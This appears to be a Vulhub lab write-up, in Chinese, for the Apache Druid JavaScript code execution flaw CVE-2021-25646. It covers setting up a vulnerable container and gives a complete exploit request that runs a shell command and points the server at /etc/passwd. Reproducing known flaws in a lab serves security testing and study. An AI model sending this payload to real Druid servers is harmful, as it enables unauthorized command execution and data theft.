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79 lines
2.3 KiB
Markdown
79 lines
2.3 KiB
Markdown
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# Apache Druid 代码执行漏洞 CVE-2021-25646
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## 漏洞描述
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Apache Druid是一个开源的分布式数据存储。
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Apache Druid包括执行嵌入在各种类型请求中的用户提供的JavaScript代码的能力。这个功能是为了在可信环境下使用，并且默认是禁用的。然而，在Druid 0.20.0及以前的版本中，攻击者可以通过发送一个恶意请求使Druid用内置引擎执行任意JavaScript代码，而不管服务器配置如何，这将导致代码和命令执行漏洞。
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参考链接：
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- https://blogs.juniper.net/en-us/threat-research/cve-2021-25646-apache-druid-embedded-javascript-remote-code-execution
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- https://mp.weixin.qq.com/s/McAoLfyf_tgFIfGTAoRCiw
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## 环境搭建
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Vulhub执行如下命令启动一个Apache Druid 0.20.0服务器：
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```
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docker-compose up -d
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```
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服务启动后，访问`http://your-ip:8888`即可查看到Apache Druid主页。
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## 漏洞复现
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直接发送如下请求即可执行其中的JavaScript代码：
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```
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POST /druid/indexer/v1/sampler HTTP/1.1
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Host: your-ip:8888
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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Content-Type: application/json
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{
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"type":"index",
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"spec":{
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"ioConfig":{
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"type":"index",
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"firehose":{
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"type":"local",
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"baseDir":"/etc",
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"filter":"passwd"
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}
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},
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"dataSchema":{
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"dataSource":"test",
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"parser":{
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"parseSpec":{
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"format":"javascript",
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"timestampSpec":{
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},
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"dimensionsSpec":{
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},
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"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
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"":{
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"enabled":"true"
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}
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}
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}
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}
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},
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"samplerConfig":{
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"numRows":10
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}
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}
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```
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可见，`id`命令已被成功执行：
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